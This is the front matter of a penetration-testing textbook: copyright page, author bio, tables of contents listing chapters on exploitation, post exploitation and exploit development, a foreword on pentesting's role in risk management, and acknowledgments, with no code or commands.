Penetration testing

Penetration testing A Hands-On Introduction to Hacking

by Georgia Weidman

San Francisco

Penetration testing. Copyright © 2014 by Georgia Weidman.
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Weidman, Georgia.
Penetration testing : a hands-on introduction to hacking / Georgia Weidman. pages cm
Includes index.
ISBN 978-1-59327-564-8 (paperback) -- ISBN 1-59327-564-1 (paperback)
1. Penetration testing (Computer security) 2. Kali Linux. 3. Computer hackers.
QA76.9.A25W4258 2014
005.8'092--dc23
2014001066

I. Title.

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The information in this book is distributed on an “As Is” basis, without warranty. While every precaution has been taken in the preparation of this work, neither the author nor No Starch Press, Inc. shall have any liability to any person or entity with respect to any loss or damage caused or alleged to be caused directly or indirectly by the information contained in it.SOGOO

In memory of Jess Hilden

About the Author
Georgia Weidman is a penetration tester and researcher, as well as the founder of Bulb
Security, a security consulting firm. She pre­ sents at conferences around the world includ­ ing Black Hat, ShmooCon, and DerbyCon, and teaches classes on topics such as penetration testing, mobile hacking, and exploit develop­ ment. Her work in mobile security has been featured in print and on television internation­ ally. She was awarded a DARPA Cyber Fast
Track grant to continue her work in mobile device security.

© Tommy Phillips Photography

Brief Contents

Foreword by Peter Van Eeckhoutte . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xix
Acknowledgments . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xxiii
Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xxv
Chapter 0: Penetration Testing Primer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1

Part I: The Basics
Chapter 1: Setting Up Your Virtual Lab . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
Chapter 2: Using Kali Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55
Chapter 3: Programming . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75
Chapter 4: Using the Metasploit Framework . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 87

Part II: Assessments
Chapter 5: Information Gathering . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113
Chapter 6: Finding Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 133
Chapter 7: Capturing Traffic . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 155

Part III: Attacks
Chapter 8: Exploitation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 179
Chapter 9: Password Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 197
Chapter10: Client-Side Exploitation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 215
Chapter 11: Social Engineering . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 243
Chapter 12: Bypassing Antivirus Applications . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 257
Chapter 13: Post Exploitation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 277
Chapter 14: Web Application Testing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 313
Chapter 15: Wireless Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 339

Part IV: Exploit Development
Chapter 16: A Stack-Based Buffer Overflow in Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . 361
Chapter 17: A Stack-Based Buffer Overflow in Windows . . . . . . . . . . . . . . . . . . . . . . . . 379
Chapter 18: Structured Exception Handler Overwrites . . . . . . . . . . . . . . . . . . . . . . . . . . 401
Chapter 19: Fuzzing, Porting Exploits, and Metasploit Modules . . . . . . . . . . . . . . . . . . . . 421

Part V: Mobile Hacking
Chapter 20: Using the Smartphone Pentest Framework . . . . . . . . . . . . . . . . . . . . . . . . . . 445
Resources . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 473
Index . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 477

viii Brief Contents 

Conte nt s in De ta il
Foreword by Peter Van Eeckhoutte

xix

Acknowledgments

xxiii

Introduction

xxv

A Note of Thanks . . . . . . . . . . . . . . .
About This Book . . . . . . . . . . . . . . . .
Part I: The Basics . . . . . . . . .
Part II: Assessments . . . . . . .
Part III: Attacks . . . . . . . . . . .
Part IV: Exploit Development .
Part V: Mobile Hacking . . . . .

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0
Penetration Testing Primer
The Stages of the Penetration Test .
Pre-engagement . . . . . . .
Information Gathering . .
Threat Modeling . . . . . .
Vulnerability Analysis . . .
Exploitation . . . . . . . . . .
Post Exploitation . . . . . . .
Reporting . . . . . . . . . . .
Summary . . . . . . . . . . . . . . . . . .

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6

Part I
The Basics
1
Setting Up Your Virtual Lab
Installing VMware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Setting Up Kali Linux . . . . . . . . . . . . . . . . . . . . . . . . . . .
Configuring the Network for Your Virtual Machine .
Installing Nessus . . . . . . . . . . . . . . . . . . . . . . . .
Installing Additional Software . . . . . . . . . . . . . . .
Setting Up Android Emulators . . . . . . . . . . . . . . .
Smartphone Pentest Framework . . . . . . . . . . . . . .
Target Virtual Machines . . . . . . . . . . . . . . . . . . . . . . . . . .
Creating the Windows XP Target . . . . . . . . . . . . . . . . . . .
VMware Player on Microsoft Windows . . . . . . . . .
VMware Fusion on Mac OS . . . . . . . . . . . . . . . .
Installing and Activating Windows . . . . . . . . . . . .

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Installing VMware Tools . . . . . . . . . . . . . . . . . . . . . . . .
Turning Off Windows Firewall . . . . . . . . . . . . . . . . . . . .
Setting User Passwords . . . . . . . . . . . . . . . . . . . . . . . . .
Setting a Static IP Address . . . . . . . . . . . . . . . . . . . . . . .
Making XP Act Like It’s a Member of a Windows Domain .
Installing Vulnerable Software . . . . . . . . . . . . . . . . . . . .
Installing Immunity Debugger and Mona . . . . . . . . . . . . .
Setting Up the Ubuntu 8.10 Target . . . . . . . . . . . . . . . . . . . . . . .
Creating the Windows 7 Target . . . . . . . . . . . . . . . . . . . . . . . . .
Creating a User Account . . . . . . . . . . . . . . . . . . . . . . . .
Opting Out of Automatic Updates . . . . . . . . . . . . . . . . .
Setting a Static IP Address . . . . . . . . . . . . . . . . . . . . . . .
Adding a Second Network Interface . . . . . . . . . . . . . . . .
Installing Additional Software . . . . . . . . . . . . . . . . . . . .
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

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2
Using Kali Linux
Linux Command Line . . . . . . . . . . . . . . . . . . . . . . . .
The Linux Filesystem . . . . . . . . . . . . . . . . . . . . . . . . .
Changing Directories . . . . . . . . . . . . . . . . .
Learning About Commands: The Man Pages . . . . . . .
User Privileges . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Adding a User . . . . . . . . . . . . . . . . . . . . . .
Adding a User to the sudoers File . . . . . . . . .
Switching Users and Using sudo . . . . . . . . .
Creating a New File or Directory . . . . . . . . .
Copying, Moving, and Removing Files . . . . .
Adding Text to a File . . . . . . . . . . . . . . . . .
Appending Text to a File . . . . . . . . . . . . . . .
File Permissions . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Editing Files . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Searching for Text . . . . . . . . . . . . . . . . . . .
Editing a File with vi . . . . . . . . . . . . . . . . . .
Data Manipulation . . . . . . . . . . . . . . . . . . . . . . . . .
Using grep . . . . . . . . . . . . . . . . . . . . . . . .
Using sed . . . . . . . . . . . . . . . . . . . . . . . . .
Pattern Matching with awk . . . . . . . . . . . . .
Managing Installed Packages . . . . . . . . . . . . . . . . . .
Processes and Services . . . . . . . . . . . . . . . . . . . . . .
Managing Networking . . . . . . . . . . . . . . . . . . . . . .
Setting a Static IP Address . . . . . . . . . . . . . .
Viewing Network Connections . . . . . . . . . . .
Netcat: The Swiss Army Knife of TCP/IP Connections .
Check to See If a Port Is Listening . . . . . . . . .
Opening a Command Shell Listener . . . . . . .
Pushing a Command Shell Back to a Listener .
Automating Tasks with cron Jobs . . . . . . . . . . . . . . . .
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

x

Contents in Detail

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3
Programming 75
Bash Scripting . . . . . . . . . . . . . . . . . . . . . . . .
Ping . . . . . . . . . . . . . . . . . . . . . . . . .
A Simple Bash Script . . . . . . . . . . . . .
Running Our Script . . . . . . . . . . . . . . .
Adding Functionality with if Statements .
A for Loop . . . . . . . . . . . . . . . . . . . . .
Streamlining the Results . . . . . . . . . . . .
Python Scripting . . . . . . . . . . . . . . . . . . . . . . .
Connecting to a Port . . . . . . . . . . . . . . if Statements in Python . . . . . . . . . . . .
Writing and Compiling C Programs . . . . . . . . .
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . .

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4
Using the Metasploit Framework
Starting Metasploit . . . . . . . . . . . . . . . . . . . .
Finding Metasploit Modules . . . . . . . . . . . . . .
The Module Database . . . . . . . . . . .
Built-In Search . . . . . . . . . . . . . . . . .
Setting Module Options . . . . . . . . . . . . . . . .
RHOST . . . . . . . . . . . . . . . . . . . . . .
RPORT . . . . . . . . . . . . . . . . . . . . . .
SMBPIPE . . . . . . . . . . . . . . . . . . . . .
Exploit Target . . . . . . . . . . . . . . . . .
Payloads (or Shellcode) . . . . . . . . . . . . . . . . .
Finding Compatible Payloads . . . . . .
A Test Run . . . . . . . . . . . . . . . . . . . .
Types of Shells . . . . . . . . . . . . . . . . . . . . . . .
Bind Shells . . . . . . . . . . . . . . . . . . .
Reverse Shells . . . . . . . . . . . . . . . . .
Setting a Payload Manually . . . . . . . . . . . . . .
Msfcli . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Getting Help . . . . . . . . . . . . . . . . . .
Showing Options . . . . . . . . . . . . . . .
Payloads . . . . . . . . . . . . . . . . . . . . .
Creating Standalone Payloads with Msfvenom .
Choosing a Payload . . . . . . . . . . . . .
Setting Options . . . . . . . . . . . . . . . .
Choosing an Output Format . . . . . . .
Serving Payloads . . . . . . . . . . . . . . .
Using the Multi/Handler Module . . . .
Using an Auxiliary Module . . . . . . . . . . . . . . .
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . .

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87

Contents in Detail

xi

Part II
Assessments
5
Information Gathering

113

Open Source Intelligence Gathering . . .
Netcraft . . . . . . . . . . . . . . . .
Whois Lookups . . . . . . . . . . .
DNS Reconnaissance . . . . . . .
Searching for Email Addresses
Maltego . . . . . . . . . . . . . . . .
Port Scanning . . . . . . . . . . . . . . . . . . .
Manual Port Scanning . . . . . .
Port Scanning with Nmap . . . .
Summary . . . . . . . . . . . . . . . . . . . . . .

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6
Finding Vulnerabilities

133

From Nmap Version Scan to Potential Vulnerability .
Nessus . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Nessus Policies . . . . . . . . . . . . . . . . . . .
Scanning with Nessus . . . . . . . . . . . . . . .
A Note About Nessus Rankings . . . . . . . .
Why Use Vulnerability Scanners? . . . . . . .
Exporting Nessus Results . . . . . . . . . . . . .
Researching Vulnerabilities . . . . . . . . . . .
The Nmap Scripting Engine . . . . . . . . . . . . . . . . .
Running a Single NSE Script . . . . . . . . . . . . . . . .
Metasploit Scanner Modules . . . . . . . . . . . . . . . .
Metasploit Exploit Check Functions . . . . . . . . . . . .
Web Application Scanning . . . . . . . . . . . . . . . . .
Nikto . . . . . . . . . . . . . . . . . . . . . . . . . .
Attacking XAMPP . . . . . . . . . . . . . . . . . .
Default Credentials . . . . . . . . . . . . . . . . .
Manual Analysis . . . . . . . . . . . . . . . . . . . . . . . . .
Exploring a Strange Port . . . . . . . . . . . . .
Finding Valid Usernames . . . . . . . . . . . .
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

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7
Capturing Traffic
Networking for Capturing Traffic .
Using Wireshark . . . . . . . . . . . . .
Capturing Traffic . . . . . .
Filtering Traffic . . . . . . .
Following a TCP Stream .
Dissecting Packets . . . . .

xii

Contents in Detail

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156
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159
160

ARP Cache Poisoning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
ARP Basics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
IP Forwarding . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
ARP Cache Poisoning with Arpspoof . . . . . . . . . . . . . . . . . . . .
Using ARP Cache Poisoning to Impersonate the Default Gateway
DNS Cache Poisoning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Getting Started . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Using Dnsspoof . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
SSL Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
SSL Basics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Using Ettercap for SSL Man-in-the-Middle Attacks . . . . . . . . . . . .
SSL Stripping . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Using SSLstrip . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

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170
171
173
174
175

Part III
Attacks
8
Exploitation 179
Revisiting MS08-067 . . . . . . . . . . . . . . . . . . . . . . .
Metasploit Payloads . . . . . . . . . . . . . . . . .
Meterpreter . . . . . . . . . . . . . . . . . . . . . . .
Exploiting WebDAV Default Credentials . . . . . . . . .
Running a Script on the Target Web Server .
Uploading a Msfvenom Payload . . . . . . . .
Exploiting Open phpMyAdmin . . . . . . . . . . . . . . . .
Downloading a File with TFTP . . . . . . . . . .
Downloading Sensitive Files . . . . . . . . . . . . . . . . . .
Downloading a Configuration File . . . . . . .
Downloading the Windows SAM . . . . . . . .
Exploiting a Buffer Overflow in Third-Party Software .
Exploiting Third-Party Web Applications . . . . . . . . .
Exploiting a Compromised Service . . . . . . . . . . . . .
Exploiting Open NFS Shares . . . . . . . . . . . . . . . . .
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

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9
Password Attacks
Password Management . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Online Password Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Wordlists . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Guessing Usernames and Passwords with Hydra . . . . . . .
Offline Password Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Recovering Password Hashes from a Windows SAM File .
Dumping Password Hashes with Physical Access . . . . . . .
LM vs. NTLM Hashing Algorithms . . . . . . . . . . . . . . . . . .
The Trouble with LM Password Hashes . . . . . . . . . . . . . .

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208
209
Contents in Detail

xiii

John the Ripper . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Cracking Linux Passwords . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Cracking Configuration File Passwords . . . . . . . . . . . . . . . . . . . . .
Rainbow Tables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Online Password-Cracking Services . . . . . . . . . . . . . . . . . . . . . . .
Dumping Plaintext Passwords from Memory with Windows Credential Editor .
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

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10
Client-Side Exploitation

215

Bypassing Filters with Metasploit Payloads .
All Ports . . . . . . . . . . . . . . . . . .
HTTP and HTTPS Payloads . . . . . .
Client-Side Attacks . . . . . . . . . . . . . . . . .
Browser Exploitation . . . . . . . . . .
PDF Exploits . . . . . . . . . . . . . . .
Java Exploits . . . . . . . . . . . . . . . browser_autopwn . . . . . . . . . . .
Winamp . . . . . . . . . . . . . . . . .
Summary . . . . . . . . . . . . . . . . . . . . . . . .

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11
Social Engineering
The Social-Engineer Toolkit . . . .
Spear-Phishing Attacks . . . . . . .
Choosing a Payload . .
Setting Options . . . . .
Naming Your File . . . .
Single or Mass Email .
Creating the Template
Setting the Target . . . .
Setting Up a Listener . .
Web Attacks . . . . . . . . . . . . .
Mass Email Attacks . . . . . . . . .
Multipronged Attacks . . . . . . . .
Summary . . . . . . . . . . . . . . . .

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Trojans . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Msfvenom . . . . . . . . . . . . . . . . . . . . .
How Antivirus Applications Work . . . . . . . . . . .
Microsoft Security Essentials . . . . . . . . . . . . . . .
VirusTotal . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Getting Past an Antivirus Program . . . . . . . . . . .
Encoding . . . . . . . . . . . . . . . . . . . . .
Custom Cross Compiling . . . . . . . . . . .
Encrypting Executables with Hyperion .
Evading Antivirus with Veil-Evasion . . .
Contents in Detail

216
216
217
218
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225
230
235
237
240

243 . . . . . .
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12
Bypassing Antivirus Applications

xiv

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Hiding in Plain Sight . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 274
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 274

13
Post Exploitation
Meterpreter . . . . . . . . . . . . . . . . . . . . . . . . . .
Using the upload Command . . . . . . . . getuid . . . . . . . . . . . . . . . . . . . . . . . .
Other Meterpreter Commands . . . . . . .
Meterpreter Scripts . . . . . . . . . . . . . . . . . . . . .
Metasploit Post-Exploitation Modules . . . . . . . . .
Railgun . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Local Privilege Escalation . . . . . . . . . . . . . . . . . getsystem on Windows . . . . . . . . . . . .
Local Escalation Module for Windows .
Bypassing UAC on Windows . . . . . . .
Udev Privilege Escalation on Linux . . . .
Local Information Gathering . . . . . . . . . . . . . . .
Searching for Files . . . . . . . . . . . . . . .
Keylogging . . . . . . . . . . . . . . . . . . . .
Gathering Credentials . . . . . . . . . . . . net Commands . . . . . . . . . . . . . . . . .
Another Way In . . . . . . . . . . . . . . . . .
Checking Bash History . . . . . . . . . . . .
Lateral Movement . . . . . . . . . . . . . . . . . . . . . .
PSExec . . . . . . . . . . . . . . . . . . . . . . .
Pass the Hash . . . . . . . . . . . . . . . . . .
SSHExec . . . . . . . . . . . . . . . . . . . . . .
Token Impersonation . . . . . . . . . . . . .
Incognito . . . . . . . . . . . . . . . . . . . . . .
SMB Capture . . . . . . . . . . . . . . . . . . .
Pivoting . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Adding a Route in Metasploit . . . . . . .
Metasploit Port Scanners . . . . . . . . . . .
Running an Exploit through a Pivot . . . .
Socks4a and ProxyChains . . . . . . . . . .
Persistence . . . . . . . . . . . . . . . . . . . . . . . . . . .
Adding a User . . . . . . . . . . . . . . . . . .
Metasploit Persistence . . . . . . . . . . . .
Creating a Linux cron Job . . . . . . . . . .
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . .

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14
Web Application Testing
Using Burp Proxy . . . . . . . . . . . . . . . . . . . . . .
SQL Injection . . . . . . . . . . . . . . . . . . . . . . . . .
Testing for SQL Injection Vulnerabilities .
Exploiting SQL Injection Vulnerabilities .
Using SQLMap . . . . . . . . . . . . . . . . .
XPath Injection . . . . . . . . . . . . . . . . . . . . . . . .

278
279
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Contents in Detail

xv

Local File Inclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Remote File Inclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Command Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Cross-Site Scripting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Checking for a Reflected XSS Vulnerability . . . . . . . . . . .
Leveraging XSS with the Browser Exploitation Framework .
Cross-Site Request Forgery . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Web Application Scanning with w3af . . . . . . . . . . . . . . . . . . . . .
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

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15
Wireless Attacks

324
327
327
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331
335
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337

339

Setting Up . . . . . . . . . . . . . . . . . . . . . . . . . . .
Viewing Available Wireless Interfaces .
Scan for Access Points . . . . . . . . . . . .
Monitor Mode . . . . . . . . . . . . . . . . . . . . . . . .
Capturing Packets . . . . . . . . . . . . . . . . . . . . . .
Open Wireless . . . . . . . . . . . . . . . . . . . . . . . .
Wired Equivalent Privacy . . . . . . . . . . . . . . . . .
WEP Weaknesses . . . . . . . . . . . . . . .
Cracking WEP Keys with Aircrack-ng .
Wi-Fi Protected Access . . . . . . . . . . . . . . . . . . .
WPA2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
The Enterprise Connection Process . . . .
The Personal Connection Process . . . . .
The Four-Way Handshake . . . . . . . . . .
Cracking WPA/WPA2 Keys . . . . . . . .
Wi-Fi Protected Setup . . . . . . . . . . . . . . . . . . .
Problems with WPS . . . . . . . . . . . . . .
Cracking WPS with Bully . . . . . . . . . .
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . .

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339
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356
356
357
357

Part IV
Exploit Development
16
A Stack-Based Buffer Overflow in Linux
Memory Theory . . . . . . . . . . . . . . . . .
Linux Buffer Overflow . . . . . . . . . . . . .
A Vulnerable Program . . . . . .
Causing a Crash . . . . . . . . . .
Running GDB . . . . . . . . . . . . .
Crashing the Program in GDB .

xvi

Contents in Detail

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362
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Controlling EIP . . . . .
Hijacking Execution .
Endianness . . . . . . .
Summary . . . . . . . . . . . . . . .

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17
A Stack-Based Buffer Overflow in Windows
Searching for a Known Vulnerability in War-FTP . . . . . . . . .
Causing a Crash . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Locating EIP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Generating a Cyclical Pattern to Determine Offset .
Verifying Offsets . . . . . . . . . . . . . . . . . . . . . . . .
Hijacking Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Getting a Shell . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

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18
Structured Exception Handler Overwrites
SEH Overwrite Exploits . . . . . . . . . .
Passing Control to SEH . . . . . . . . . .
Finding the Attack String in Memory .
POP POP RET . . . . . . . . . . . . . . . . .
SafeSEH . . . . . . . . . . . . . . . . . . . .
Using a Short Jump . . . . . . . . . . . . .
Choosing a Payload . . . . . . . . . . . .
Summary . . . . . . . . . . . . . . . . . . . .

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380
382
384
385
388
390
395
400

401

19
Fuzzing, Porting Exploits, and Metasploit Modules
Fuzzing Programs . . . . . . . . . . . . . . . . . . . . . .
Finding Bugs with Code Review . . . . . .
Fuzzing a Trivial FTP Server . . . . . . . . .
Attempting a Crash . . . . . . . . . . . . . .
Porting Public Exploits to Meet Your Needs . . . .
Finding a Return Address . . . . . . . . . .
Replacing Shellcode . . . . . . . . . . . . . .
Editing the Exploit . . . . . . . . . . . . . . .
Writing Metasploit Modules . . . . . . . . . . . . . . .
A Similar Exploit String Module . . . . .
Porting Our Exploit Code . . . . . . . . . .
Exploitation Mitigation Techniques . . . . . . . . . .
Stack Cookies . . . . . . . . . . . . . . . . . .
Address Space Layout Randomization .
Data Execution Prevention . . . . . . . . . .
Mandatory Code Signing . . . . . . . . . .
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . .

373
375
376
378

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403
407
408
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421
421
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427
429
430
430
432
435
435
439
440
440
441
441
442

Contents in Detail

xvii

Part V
Mobile Hacking
20
Using the Smartphone Pentest Framework
Mobile Attack Vectors . . . . . . . . . . . . . . . .
Text Messages . . . . . . . . . . . . . .
Near Field Communication . . . . . .
QR Codes . . . . . . . . . . . . . . . . . .
The Smartphone Pentest Framework . . . . . .
Setting Up SPF . . . . . . . . . . . . . . .
Android Emulators . . . . . . . . . . . .
Attaching a Mobile Modem . . . . . .
Building the Android App . . . . . . .
Deploying the App . . . . . . . . . . . .
Attaching the SPF Server and App .
Remote Attacks . . . . . . . . . . . . . . . . . . . . .
Default iPhone SSH Login . . . . . . .
Client-Side Attacks . . . . . . . . . . . . . . . . . .
Client-Side Shell . . . . . . . . . . . . . .
USSD Remote Control . . . . . . . . . .
Malicious Apps . . . . . . . . . . . . . . . . . . . . .
Creating Malicious SPF Agents . . .
Mobile Post Exploitation . . . . . . . . . . . . . . .
Information Gathering . . . . . . . . .
Remote Control . . . . . . . . . . . . . .
Pivoting Through Mobile Devices .
Privilege Escalation . . . . . . . . . . .
Summary . . . . . . . . . . . . . . . . . . . . . . . . .

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471
472

REsources 473
Index 477

xviii

Contents in Detail

Fore word

I met Georgia Weidman at a conference almost two years ago. Intrigued by what she was doing in the mobile device security field, I started following her work. At nearly every conference I’ve attended since then, I’ve run into Georgia and found her passionately sharing knowledge and ideas about mobile device security and her Smartphone Pentesting
Framework.
In fact, mobile device security is only one of the things Georgia does.
Georgia performs penetration tests for a living; travels the world to deliver training on pentesting, the Metasploit Framework, and mobile device security; and presents novel and innovative ideas on how to assess the security of mobile devices at conferences.
Georgia spares no effort in diving deeper into more advanced topics and working hard to learn new things. She is a former student of my
(rather challenging) Exploit Development Bootcamp, and I can attest to the fact that she did very well throughout the entire class. Georgia is a true

hacker—always willing to share her findings and knowledge with our great infosec community—and when she asked me to write the foreword to this book, I felt very privileged and honored.
As a chief information security officer, a significant part of my job revolves around designing, implementing, and managing an information security program. Risk management is a very important aspect of the program because it allows a company to measure and better understand its current position in terms of risk. It also allows a company to define priorities and implement measures to decrease risk to an acceptable level, based on the company’s core business activities, its mission and vision, and legal requirements. Identifying all critical business processes, data, and data flows inside a company is one of the first steps in risk management. This step includes compiling a detailed inventory of all IT systems (equipment, networks, applications, interfaces, and so on) that support the company’s critical business processes and data from an IT perspective. The task is time consuming and it’s very easy to forget about certain systems that at first don’t seem to be directly related to supporting critical business processes and data, but that are nonetheless critical because other systems depend on them. This inventory is fundamentally important and is the perfect starting point for a risk-assessment exercise.
One of the goals of an information-security program is to define what is necessary to preserve the desired level of confidentiality, integrity, and availability of a company’s IT systems and data. Business process owners should be able to define their goals, and our job as information-security professionals is to implement measures to make sure we meet these goals and to test how effective these measures are.
There are a few ways to determine the actual risk to the confidentiality, integrity, and availability of a company’s systems. One way is to perform a technical assessment to see how easy it would be for an adversary to undermine the desired level of confidentiality, break the integrity of systems, and interfere with the availability of systems, either by attacking them directly or by attacking the users with access to these systems.
That’s where a penetration tester (pentester, ethical hacker, or whatever you want to call it) comes into play. By combining knowledge of how systems are designed, built, and maintained with a skillset that includes finding creative ways around defenses, a good pentester is instrumental in identifying and demonstrating the strength of a company’s informationsecurity posture.
If you would like to become a penetration tester or if you are a systems/ network administrator who wants to know more about how to test the security of your systems, this book is perfect for you. You’ll learn some of the more technical phases of a penetration test, beginning with the initial information-gathering process. You’ll continue with explanations of how to exploit vulnerable networks and applications as you delve deeper into the network in order to determine how much damage could be done.
This book is unique because it’s not just a compilation of tools with a discussion of the available options. It takes a very practical approach, xx Foreword

designed around a lab—a set of virtual machines with vulnerable applications—so you can safely try various pentesting techniques using publicly available free tools.
Each chapter starts with an introduction and contains one or more hands-on exercises that will allow you to better understand how vulnerabilities can be discovered and exploited. You’ll find helpful tips and tricks from an experienced professional pentester, real-life scenarios, proven techniques, and anecdotes from actual penetration tests.
Entire books can be written (and have been) on the topics covered in each chapter in this book, and this book doesn’t claim to be the Wikipedia of pentesting. That said, it will certainly provide you with more than a first peek into the large variety of attacks that can be performed to assess a target’s security posture. Thanks to its guided, hands-on approach, you’ll learn how to use the Metasploit Framework to exploit vulnerable applications and use a single hole in a system’s defenses to bypass all perimeter protections, dive deeper into the network, and exfiltrate data from the target systems.
You’ll learn how to bypass antivirus programs and perform efficient socialengineering attacks using tools like the Social-Engineer Toolkit. You’ll see how easy it would be to break into a corporate Wi-Fi network, and how to use
Georgia’s Smartphone Pentest Framework to assess how damaging a company’s bring your own device policy (or lack thereof) could be. Each chapter is designed to trigger your interest in pentesting and to provide you with first-hand insight into what goes on inside a pentester’s mind.
I hope this book will spark your creativity and desire to dive deeper into certain areas; to work hard and learn more; and to do your own research and share your knowledge with the community. As technology develops, environments change, and companies increasingly rely on technology to support their core business activities, the need for smart pentesters will increase. You are the future of this community and the informationsecurity industry.
Good luck taking your first steps into the exciting world of pentesting.
I’m sure you will enjoy this book!
Peter “corelanc0d3r” Van Eeckhoutte
Founder of Corelan Team

Foreword xxi

Ac k n o w l e d g m e n t s

Many thanks go to the following people and organizations (in no particular order). My parents, who have always supported my career endeavors—including paying for me to go to my first conference and get my first certifications when
I was still a broke college student.
Collegiate Cyber Defense Competition, particularly the Mid-Atlantic region Red Team, for helping me find what I wanted to do with my life.
ShmooCon for accepting my first talk ever and also being the first conference I ever attended.
Peiter “Mudge” Zatko and everyone who involved in the DARPA Cyber
Fast Track program for giving me the opportunity to start my own company and build the Smartphone Pentest Framework.
James Siegel for being my lucky charm and making sure I get on stage on time at events.
Rob Fuller for taking the time to come to James Madison University and visit the CCDC team after the competition. That day I decided to make a career of infosec.
John Fulmer for helping me with the crypto details in the wireless chapter.
Rachel Russell and Micheal Cottingham for being my first infosec buddies.
Jason and Rachel Oliver for technical and content review, and also for making the perfect smoky eye look at ShmooCon and Black Hat.

Joe McCray, my infosec big brother, for being my mentor as I learn to navigate the infosec business.
Leonard Chin for giving me my first big international conference experience and the confidence to become a conference trainer.
Brian Carty for helping me build my online lab.
Tom Bruch for letting me live in his house when I had no job and my
DARPA money hadn’t come through yet.
Dave Kennedy for providing introductions for several great opportunities.
Grecs for helping me market my classes on his website.
Raphael Mudge for getting me in touch with the DARPA Cyber Fast
Track program and many other great opportunities.
